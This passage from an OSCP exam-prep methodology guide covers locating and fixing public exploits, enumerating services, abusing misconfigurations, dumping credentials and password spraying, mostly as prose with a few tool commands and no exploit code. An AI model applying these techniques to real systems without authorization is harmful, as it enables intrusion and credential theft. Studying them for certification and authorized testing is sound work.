*   Sometimes the version number is also in the installation path / folder.
    

If the service is running on an internally opened port, try to port-forward the service externally for Nmap Scanning.

### Finding Exploits[](https://hackwithmike.gitbook.io/oscp/methodology#finding-exploits)

Exploit Databases

GitHub

Metasploit

Most of the time, you will be able to find the exploit PoC on these databases

*   [Searchsploit](https://www.exploit-db.com/searchsploit)
     on Kali command line.
    
*   [Exploit-DB](https://www.exploit-db.com/)
    , [Packet Storm](https://packetstorm.news/)
    ,
    
*   CVE databases (like [MITRE](https://cve.mitre.org/)
    ) are usually not too helpful as they do not provide PoCs.
    
    *   Although some may link to the blogs & articles that may contain PoCs.
        
    

If an exploit has a publicly available exploit, you can most likely find a PoC on GitHub written by some great security researchers. (It could be me or you someday!)

*   Google "_CVE-XXX-XXX GitHub PoC_" or "_<service name> <version> exploit_"
    
*   There are also some famous exploit repos like SecWiki's [Windows Kernel Exploits](https://github.com/SecWiki/windows-kernel-exploits)
    .
    
*   Always CHECK the codes before running exploits from GitHub - they could be malicious.
    

Personally I never find the need to use Metasploit in the exam, since there will always be alternative PoCs available if that particular exploit is the intended path.

*   Regardless, it can sometimes be the easier way to exploit a vulnerability. For example, using Metasploit is probably the easiest way to exploit EternalBlue (apart from AutoBlue)
    
*   Alternatively, you can always review the [Metasploit module source code](https://github.com/rapid7/metasploit-framework/tree/master/modules)
     to understand how they exploit a vulnerability and do it manually. This is of course not recommended to be performed during the actual exam.
    

### Using Exploits[](https://hackwithmike.gitbook.io/oscp/methodology#using-exploits)

Fixing Exploits

Compiling Exploits

Matching Versions

While the exploits are publicly available, not all of them are ready-to-use without some **cleaning and fixing**.

*   The most common way of "fixing" an exploit is simply to change the source & target IP addresses, modify the exploit URI paths, provide the correct user credentials, etc.
    
*   Older Python exploits are written in Python2 and should be run with `python2.7` instead of `python3`.
    
*   Always remember to with add run permission with `chmod +x <script file>`.
    
*   Note that many exploits from Exploit-DB are not polished. On the another hand, GitHub usually have better quality PoCs.
    
    *   There can be all sorts of errors, such as incorrect indentations, extra spaces, incorrect spellings, etc. This would require you to have basic knowledge on the programming language to effective debug the exploits.
        
    

Some exploits require **manual compilation** using `gcc`, `mingw`, `make`, etc, but for OSCP level they should be relatively straightforward and shouldn't require a lot of fixing.

*   Look for pre-compiled exploits, and have them saved in your Kali machine for easy reuse.
    
*   I have a folder containing over 50 precompiled exploits, especially for very commonly used ones such as Potato exploits, EXE reverse shells, PEAS, etc.
    
*   I also have another folder storing web shell payloads in many different languages, such as php, aspx, Go, Java, WordPress, etc.
    

Make sure the exploit is applicable to the service version. Some exploits have a range of vulnerable versions, and older versions may not be vulnerable.

*   E.g. The famous [Apache Path Traversal Vulnerability](https://www.hackthebox.com/blog/cve-2021-41773-explained)
     is only vulnerable on Apache 2.4.49 and 2.4.50, but not other versions.
    

Misconfigurations[](https://hackwithmike.gitbook.io/oscp/methodology#misconfigurations)

----------------------------------------------------------------------------------------

* * *

If there are no vulnerable versions, we can then look into **misconfigurations** in different services. The service itself may not be not vulnerable, but it can be set up incorrectly and unsafely.

The definition of misconfiguration here is pretty broad, since it basically covers **anything else that are NOT public exploits** that can be plugged and played. You can expect all the "hacking techniques" being categorized here.

### Key strategies[](https://hackwithmike.gitbook.io/oscp/methodology#key-strategies-1)

1

**Enumerate Services**

Understand what services are running, and their common attack vectors. For example, FTP Server -> Anonymous login? MySQL Service -> UDF code execution? Webpage with File Upload -> Uploading web shell? etc.

2

**Finding Misconfigurations**

This part requires mostly pattern recognition and experiences gained from grinding boxes and studying existing materials. Not many shortcuts here, but try to look for walkthroughs of boxes with similar services if you are stuck during the exam.

3

**Exploiting Misconfigurations**

The last step is much easier once you identified the vulnerable service. Some harder boxes may require you to chain multiple misconfigurations and other vulnerabilities, so make sure to take good notes for mapping the final attack path.

### Enumerating Services[](https://hackwithmike.gitbook.io/oscp/methodology#enumerating-services)

Web

Databases

File Shares

Remote Access

Make sure to thoroughly enumerate the web server. Few points to note here:

*   **Directory Busting****:**
    
    *   Hidden admin panels / Sensitive pages.
        
    *   Config files / `.git` Directory.
        
    *   Open directory listing.
        
    
*   S**ubdomain Enumeration****:**
    
    *   Hidden admin panels / Sensitive pages.
        
    *   API Endpoints.
        
    
*   **Webpage & Source code Review****:**
    
    *   Look for potential usernames / emails / credentials on page contents.
        
    *   Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
        
    *   Understand all functionalities, such as user login, file upload, etc, so that you can focus or skip relevant attack vectors based on the existing functions.
        
    

Remember to perform directory busting on **all the endpoints**, including **different web ports and subdomains**.

*   Always use more than 2 directory busting tools and wordlists to avoid missing important endpoints.
    
*   Personally I run FeroxBuster with its default wordlist & DirSearch with "directory-list-2.3-medium.txt" separately on the same domain.
    

This mostly refers to SQL databases.

*   Identify the SQL server in use - Is it MSSQL? MySQL? SQLite? etc.
    
*   Check for **anonymous login** & **default / weak credentials**.
    
    *   If that does not work, we will likely get the login credentials from elsewhere, such as web pages, file shares, email servers, etc.
        
    
*   For file-based databases like SQLite, the data is stored as a separate `.db` file, and can be usually be accessed without credentials if you can get your hands on the file.
    

This includes all the file shares such as FTP, SMB and NFS.

*   Always check for **anonymous login** & **default / weak credentials** first.
    
    *   If that does not work, we will likely get the login credentials from elsewhere, such as web pages, databases, email servers, etc.
        
    

This refers to services like Telnet, SSH, RDP, WinRM, etc.

*   These services are usually not directly exploitable without **correct credentials**.
    
*   Regardless, there could still be some useful information.
    
    *   For example, the Nmap script on SSH (`ssh-hostkey`) tells you what key algorithms are used for authentication (e.g., RSA, ECDSA, etc.)
        
    *   If RSA is in use, perhaps we will be hunting for `id_rsa` private key somewhere. Similarly, the discovered SSH private key may be in `id_ecdsa` format if ECDSA is in use.
        
    

Mail Services

Other External Services

Internal Services (Priv Esc)

This refers to services such as POP, IMAP and SMTP.

*   Check for **default & weak credentials** like "`admin:admin`".
    
    *   If that does not work, we will likely get the login credentials from elsewhere, such as web pages, file shares, email servers, etc.
        
    
*   Even if un-authenticated, try to enumerate usernames from mail services.
    
*   It is also possible that they are designed for client-side attacks such as sending and received phishing emails.
    

This includes all other uncategorized services such as DNS, SNMP, or all other non-common services.

*   SNMP on UDP port 161 is often missed during port scan.
    
    *   Always remember to run a separate **UDP scan** on Nmap. You can do it with the `-F` flag to only scan for the top 100 common ports if the scanning is taking too long.
        
    
*   DNS is usually not designed to be exploitable especially in simulated boxes. Only try when everything else did not work.
    
*   All other services will require deeper research on what services usually use those ports. If names of the services are identified, try to go through their documentations to understand how to interact with them.
    
    *   Also check if there are any boxes walkthroughs that contain the service / port.
        
    *   Amazing resources from IppSec & 0xdf. You can use keywords of a service to search for walkthroughs:
        
        *   [https://ippsec.rocks/](https://ippsec.rocks/?#)
            
        *   [https://0xdf.gitlab.io/tags](https://0xdf.gitlab.io/tags)
            
        
    

Enumerate services running internally via different methods such as:

*   Listing internal network connections (`netstat -anolp`).
    
    *   Look for open ports that are not exposed externally - maybe there is an MSSQL service running internally only?
        
    *   Identify what processes are running on the open ports.
        
    
*   List internal running processes.
    
*   Listing scheduled tasks.
    
*   Look for uncommon binaries / applications installed.
    

Active Directory

For AD environments in OSCP, 90% of the time it is about moving around different services and users by abusing **misconfigured user ACL** or using **discovered credentials**. To do so, we must map out all available services, as well as the relationships between the AD objects.

*   Bloodhound is the go-to tool for identifying misconfigured user & system ACL.
    
*   Always remember to conduct full port scan on internal targets that are previously unreachable. There can be a MSSQL service running on an uncommon port, and your controlled user may have admin access to the service.
    

### **Finding & Exploiting Misconfigurations**[](https://hackwithmike.gitbook.io/oscp/methodology#finding-and-exploiting-misconfigurations)

Web

Databases

File Shares

Remote Access

This refers to all the basic web hacking stuff, with heavy focus on either getting sensitive information (LFI, File Read, etc), or directly getting system access (Web shell, RCE, etc). Here is a list of common attack vectors:

*   **Authentication Attacks**: Default credentials / Anonymous Login / Weak Passwords
    
*   **Exposed Sensitive Files**: Open Directory Listing / `.git` / Hidden admin panels, etc.
    
*   **SQL injection**: Authentication Bypass / File Read & Write / RCE
    
*   **File Upload & Write**: Web shell RCE / Overwrite Login & Config Files / Client side attacks
    
*   **File Read**: Credential Files / Config Files / Process & Logs for sensitive information
    
*   **Path Traversal / File Inclusion**: File Read / RCE
    
*   **Mass Assignment**: Authentication Bypass
    
*   etc.
    

In the rare cases of client side attacks, here are also something you can be looking at:

*   **File Upload**: Malicious Files for Reverse Shell
    
*   **XSS**: Hijacking Session Token / Extracting Webpage Information
    
*   **CSRF**: Sending URL for one-click attack
    
*   etc.
    

This assumes that you have already gained initial access to the database services.

*   Upon successful login, go through all of the non-default tables and databases.
    
    *   Mainly looking for **credentials** (passwords & hashes).
        
    *   It may also be some weird stuff like emails about configurations, etc.
        
    *   List out all users of the database to look for new attack vectors.
        
    
*   All SQL injection attacks are naturally applicable once you can make SQL queries in the database.
    
    *   **MSSQL** -> File Read & Write / RCE / NLTM Theft / etc.
        
    *   **MySQL** -> File Read & Write / UDF for RCE / Dumping SQL User Creds / etc.
        
    *   Different attacks can be specific to certain database services.
        
    

This assumes that you have already gained initial access to the file shares.

*   Upon successful login, go through all directories and files.
    
    *   Mainly looking for **credentials** - It could be in configuration files, PDF files for onboarding employees, email backups, database files (`.db` file), Excel files, ZIP files, etc.
        
    *   Apart from credentials, it can also be **sensitive information** such as hidden endpoints, service versions, etc.
        
    *   Metadata may contain useful information such as usernames. (Check with `exiftool`)
        
    *   Sometimes the files (especially Excel & ZIP files) are **encrypted** and require us to perform brute-force attacks with tools like `zip2john` and `hashcat`.
        
    *   Always check for **Write Access**. It is possible that the file share directory is also hosted in the web server, and we can upload a web shell onto the server.
        
    

File shares are also privilege escalation vectors when there are misconfigurations or we have elevated permissions:

*   For NFS, if `no_root_squash` is set, we can escalate to root by uploading a SUID-bit set shell.
    
*   For SMB, admin access can lead to command execution with tools like `NetExec` and `Impacket` Suite. Username enumeration is also possible with brute-forcing RID.
    

This refers to services like Telnet, SSH, RDP, WinRM, etc.

*   As suggested, these services are usually not designed to be directly exploitable without correct credentials.
    
*   Regardless, always take notes on the services & their versions to check if there are public exploits.
    
*   Otherwise, this vector is mostly intended for weak authentication attacks, such as **default / weak credentials**, **password spraying** and **brute-forcing attacks**.
    

Mail Services

Other External Services

Internal Services (Priv Esc)

This refers to services such as POP, IMAP and SMTP.

*   Even if un-authenticated, try to **enumerate usernames** from mail services.
    
*   Upon successful login, go through all the email records.
    
    *   Mainly looking for **credentials** in emails, such as employee onboarding emails, service reminders, credential updates, etc.
        
    *   If **client-side attacks** are intended, there will be hints in the emails or other places such as the web pages.
        
    

This includes all other uncategorized services such as DNS, SNMP, or all other non-common services.

*   For SNMP on UDP port 161, try to run `smnpwalk` with **default community strings** (`public`, `private`, `manager`, etc.)
    
    *   Look for sensitive information such as user emails, passwords, command history, etc.
        
    
*   As mentioned above, DNS is usually not designed to be exploitable in simulated boxes, and all other services will require deeper research on what services usually use those ports.
    

Internal services are usually used to either escalate to a higher privilege, or move laterally to another user that have different sets of privileges.

*   For services running internally, if you have difficult using the services internally, you can always **port-forward** the services to your Kali attacker machine.
    
    *   For example, I often port-forward internally running MSSQL services to my local Kali to use `impacket-mssqlclient` for easier enumeration and exploitation.
        
    *   SSH is mostly used for single port-forwarding, but there are also tools like `plink.exe`, `socat`, `chisel`, `ligolo-ng`, etc.
        
    
*   For scheduled tasks, locate the **source binary or script** that is running.
    
    *   [pspy](https://github.com/DominicBreuker/pspy)
         is the go-to tool to discover scheduled tasks.
        
    *   Scheduled tasks are 99% the intended attack vector in simulated boxes, especially when it is running as root, or another high privilege user.
        
    *   Upon locating the binary or script, try to replace or modify it for reverse shells, spawning root shell, etc. This is usually within a **longer attack chain**, where the scripts themselves are not directly editable, but can be modified by exploit another vulnerability.
        
    
*   For uncommon apps & binaries installed:
    
    *   They may either have **publicly available exploits** once you identified the service and version;
        
    *   Alternatively, they may be custom-made services that are intentionally designed to be vulnerable to different attacks, such as command injection, dumping hardcoded credentials with `strings`, etc.
        
    *   They may also be (mis)configured to be able to run with admin privileges.
        
    
*   For apps & binaries that can be run with **admin privileges** (e.g., SUID-bit set or `sudo` ):
    
    *   For Linux, [GTFOBins](https://gtfobins.github.io/)
         is the go-to repository to abuse binaries for privilege escalation.
        
    *   For Windows, it is usually less straightforward. Regardless, the end goal is always to escalate your current privileges by actions such as getting admin credentials, spawning reverse shells, creating a new admin user, etc.
        
    

System Misconfigurations

Active Directory

This refers to system-level misconfigurations that are not associated with any particular services.

*   Readable / Writable Sensitive Files.
    
    *   `/etc/passwd`, `/etc/shadow`, Extractable `SAM` & `SYSTEM` hives, SSH key files, Readable root / admin directories, etc.
        
    
*   Misconfigured / Elevated Privileges.
    
    *   Anything that can elevate privileges, for example:
        
        *   On Linux: `sudo -l` , Kernel Exploits, Privileged Group Memberships, etc.
            
        *   On Windows, `cmdkey /list` , `whoami /priv`, Kernel Exploits, Registry Exploits, Service Path Misconfigurations, etc.
            
        
    *   Note that there are numerous priv-esc techniques that cannot be fully listed here.
        
    

While most of the Windows privilege escalation techniques also apply to that when working on an AD environment, there are AD-specific misconfigurations that work on a domain level, for example:

*   **User ACL**: A user is allowed to change the password of another user, adding oneself to another group, etc.
    
*   **Disabled Kerberos Pre-auth**: Allowing AS-REP roasting attacks to extract password hashes of misconfigured users.
    
*   **SPN Configured**: Allowing Kerberoasting attacks to extract password hashes of misconfigured users.
    
*   etc.
    

Sensitive Information[](https://hackwithmike.gitbook.io/oscp/methodology#sensitive-information)

------------------------------------------------------------------------------------------------

* * *

If none of the above vulnerabilities can be identified after thorough enumeration, it is likely that the weakness lies not on the services nor misconfigurations, but on **human errors** such as leaked credentials, exposed internal directories, or any type of disclosed **sensitive information**.

This particular attack vector is usually a by-product of enumerating the running services. Sensitive information can be revealed in all sorts of formats, such as error messages when poking around, hidden directories discovered with directory busting, credential files found in file shares, etc. The key here is to always take good notes on all discovery, and to always make sure you have not missed a single detail during enumeration. Remember, enumerate, enumerate, enumerate!

### Key strategies[](https://hackwithmike.gitbook.io/oscp/methodology#key-strategies-2)

1

**Gathering Information**

Collect and record whatever you can during the enumeration process. Pay extra attention to things that related to authentication functions, user credentials (names, emails & passwords), error messages, hidden directories and files, and more.

2

**Using Information**

With the gathered information, we can now put the pieces together. Do we have credentials that we can brute-force or spray? Do the hidden directories and files contain credentials or configurations? The possibilities are endless and would require case-by-case analysis.

### Gathering Information[](https://hackwithmike.gitbook.io/oscp/methodology#gathering-information)

Web

Databases

File Shares

Remote Access

Make sure to thoroughly enumerate the web server. This will look a lot similar to the previous sections:

*   **Directory Busting****:**
    
    *   Hidden admin panels / Sensitive pages (e.g., `phpinfo`).
        
    *   Config files (e.g., `.htaccess`) / `.git` Directory.
        
        *   `.git` is a gold mine for information. You can get your hands on the application's source code to identify potential attack vectors (e.g., SQL injections), or there can be hardcoded credentials and session tokens within the source codes.
            
        
    *   Open directory listing.
        
    
*   S**ubdomain Enumeration****:**
    
    *   Sometimes the good stuffs are hidden behind another Vhost. Always run subdomain enumeration and directory busting on the newly discovered subdomains.
        
    
*   **Webpage & Source code Review****:**
    
    *   Look for potential usernames / emails / credentials on page contents.
        
        *   The `About Us` & `Contacts` sections usually contain emails & domain name information.
            
        *   For blog-like applications, the blog articles often come with author names and comments with commenter names.
            
        *   Some may also put down passwords under the blog posts or comments.
            
        
    *   Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
        
    

Upon successful login, go through all of the non-default tables and databases.

*   Mainly looking for **credentials** (password & hashes).
    
    *   Many CMS stores user passwords and hashes under tables such as `users`, `login`, etc.
        
    
*   List out all users of the database for new usernames.
    
*   Some SQL services, such as MySQL, also store password hashes of the users. Remember to dump those out for cracking.
    

Upon successful login, go through all directories and files.

*   Mainly looking for **credentials** - It could be in configuration files, PDF files for onboarding employees, email backups, database files (`.db` file), Excel files, ZIP files, etc.
    
*   Apart from credentials, it can also be **sensitive information** such as hidden endpoints, service versions, etc.
    
*   Metadata may contain useful information such as usernames. (Check with `exiftool`)
    
*   Sometimes the files (especially Excel & ZIP files) are **encrypted** and require us to perform brute-force attacks with tools like `zip2john` and `hashcat`.
    

This refers to services like Telnet, SSH, RDP, WinRM, etc.

*   These services are usually not directly exploitable without **correct credentials**.
    
*   Regardless, there could still be some useful information.
    
    *   For example, the Nmap script on SSH (`ssh-hostkey`) tells you what key algorithms are used for authentication (e.g., RSA, ECDSA, etc.)
        
    *   If RSA is in use, perhaps we will be hunting for `id_rsa` private key somewhere. Similarly, the discovered SSH private key may be in `id_ecdsa` format if ECDSA is in use.
        
    

Mail Services

Other External Services

Internal Enumeration

Emails are often designed to be a realistic scenario of where sensitive information lies:

*   Upon successful login, go through all the emails to check if they have mentioned anything about credentials, development site, configurations, etc.
    
*   Even if un-authenticated, try to enumerate usernames from mail services such as POP3 and SMTP (See the [example](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)
     here at HackTricks). The identified usernames can then be passed to other services for brute-forcing / password spraying attacks.
    

This includes all other uncategorized services such as DNS, SNMP, or all other non-common services, but I would like to put heavy focus on SNMP here.

*   For SNMP on UDP port 161, try to run `smnpwalk` with **default community strings** (`public`, `private`, `manager`, etc.)
    
*   I have seen the following sensitive information exposed in SNMP:
    
    *   Command histories containing passwords
        
        *   User Emails
            
        *   Usernames
            
        *   Processes running
            
        *   etc.
            
        
    

In case of hunting for sensitive information internally, here are some general directions you can look into:

*   Go through ALL **configuration files** of the running services. 90% of the time there are hard-coded credentials that can be sprayed again to escalate privileges.
    
*   Look for SSH key files. They can be in a user's home directory (`/.ssh/`), or they can be lying on some file share, some notes, etc.
    
*   Go for **command histories**. They may have records of previous commands that contain user credentials.
    
*   In a realistic scenario, a user may leave their credentials in a text file lying on the Desktop, or in a note app, in an excel file, etc.
    
*   System administrators also often store credentials in the **environmental variables** for easier access.
    
*   Look for Password Manager Database files, e.g., `.kdbx` for KeePass.
    
*   For Windows, credentials may be stored within **registry** entries, unattended installation files, etc. There may even be system backups of the SAM and SYSTEM hive that allow you to dump all credentials of the Windows machine.
    

Active Directory

For AD environments, we can enumerate sensitive information in many ways, for example:

*   Extract valid usernames via **anonymous LDAP dumping**, **SMB RID cycling** and running Kerberos pre-auth brute-forcing (with [Kerbrute](https://github.com/ropnop/kerbrute)
    ).
    
*   Go through all the readable file shares and databases.
    
*   Dump domain-level credentials with local administrator privileges.
    
    *   Once you escalated your privilege on a domain machine as the local administrator, you will mostly discover new credentials of other domain users, either via dumping them with tools like `mimikatz` & `impacket-secretsdump`, or finding them in registry, config files, or any other locations that are previously inaccessible.
        
    

### Using Information[](https://hackwithmike.gitbook.io/oscp/methodology#using-information)

Brute-forcing

Password Spraying

Other Usages

Suppose you only found potential usernames. We can always run a quick brute-force login attack to check if this is the intended path.

*   Always start out with **default & common credentials**. It also doesn't hurt to try username, service name, or box name as passwords
    
*   As for the password wordlist, `rockyou.txt` will do the job within 10-20 minutes if brute-forcing is the intended attack path.
    

Note that you can also brute-force for usernames if you have a valid password, or if the service itself is vulnerable to username enumeration.

*   For example, some mail services like POP3 and SMTP may be misconfigured to allow username enumeration (See the [example](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)
     here at HackTricks)
    
*   Some web applications may also be vulnerable to username enumeration due to improper error messages (e.g., `Username does not exist!`)
    
*   As mentioned above, we can also brute-force domain usernames from Kerberos running on Port 88 with [Kerbrute](https://github.com/ropnop/kerbrute)
    .
    
*   I usually use `/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt` from [SecLists](https://github.com/danielmiessler/SecLists)
    . You can run `sudo apt install seclists` to install SecLists on Kali.
    

Suppose you have a few different potential usernames and passwords, the best approach is to **spray all passwords** to all identified usernames **in all combinations**.

*   For example, if you have found the following user list: `peter, john, mary`, with the following passwords, `P@ss123!, Letme1n#`, then you will have 6 possible combinations in total. However, you should also include **default usernames** such as administrator in to the user list, making it 8 possible combinations in total.
    
    *   Just put all the usernames in a `user.txt`, and the passwords in a `pass.txt`, and supply the files as arguments when running tools like `Hydra` and `NetExec`.
        
    
*   Always remember to spray them on **ALL services**, such as webpages, SQL, SMB, FTP, SSH, and anything with a login function.
    

This is a general section on all other information that can be classified as sensitive, but are not credentials, such as hidden directories, config files, etc.

*   Generally, these types of information provide you with hints to continue on the attack path, where you may either discover misconfigurations or version info that can be exploited, or actual credentials hidden in a deeper layer of the attack path.
    
*   All you have to do is to follow the lead and rerun the enumeration cycle on the three attack vectors, until you discover information that can help escalate your current privileges.
    

Active Directory

Here are some specific tips for brute-forcing & password spraying in Active Directory:

*   [NetExec](https://www.netexec.wiki/)
     has all the functionality you need for spraying passwords on different services.
    
    *   I always run NetExec with the possible credential combinations on ALL available services: `SMB, LDAP, MSSQL, WinRM, WMI, RDP, SSH, FTP`, etc.
        
    *   When the `-d` flag (domain) is not specified, NetExec will by default authenticate the user with the domain provided by the target machine.
        
    *   Remember to add `--local-auth` at the end of the command for a second round of spraying. While the credential pairs may not be valid in the domain, it is always possible that it is a local account (I have success with this in actual engagements).
        
    
*   Always check the **password policies** to see if there is account lockout. If that is the case, it means that brute-forcing AD authentication is likely not the intended path.
    
    *   You can do that with `nxc smb <ip> -u <user> -p <pass> --pass-pol`.
        
    

Conclusion[](https://hackwithmike.gitbook.io/oscp/methodology#conclusion)

--------------------------------------------------------------------------

* * *

If you read till the end, I sincerely thank you for having the patience to go through my two cents on how to approach the OSCP exam. This is definitely not an exhaustive list, and it may also come across as a bit too exam-oriented. While I understand that real-life hacking involves way more techniques and depths, I truly hope this guide can be a good start to build one's methodology from scratch.

Hopefully what I have learnt along the way had provide some value to your journey, and I am always open to constructive feedbacks for improvements.

[PreviousMike's OSCP Guide](https://hackwithmike.gitbook.io/oscp)
[NextOSCP Last Minute Tips](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips)

Last updated 7 months ago

---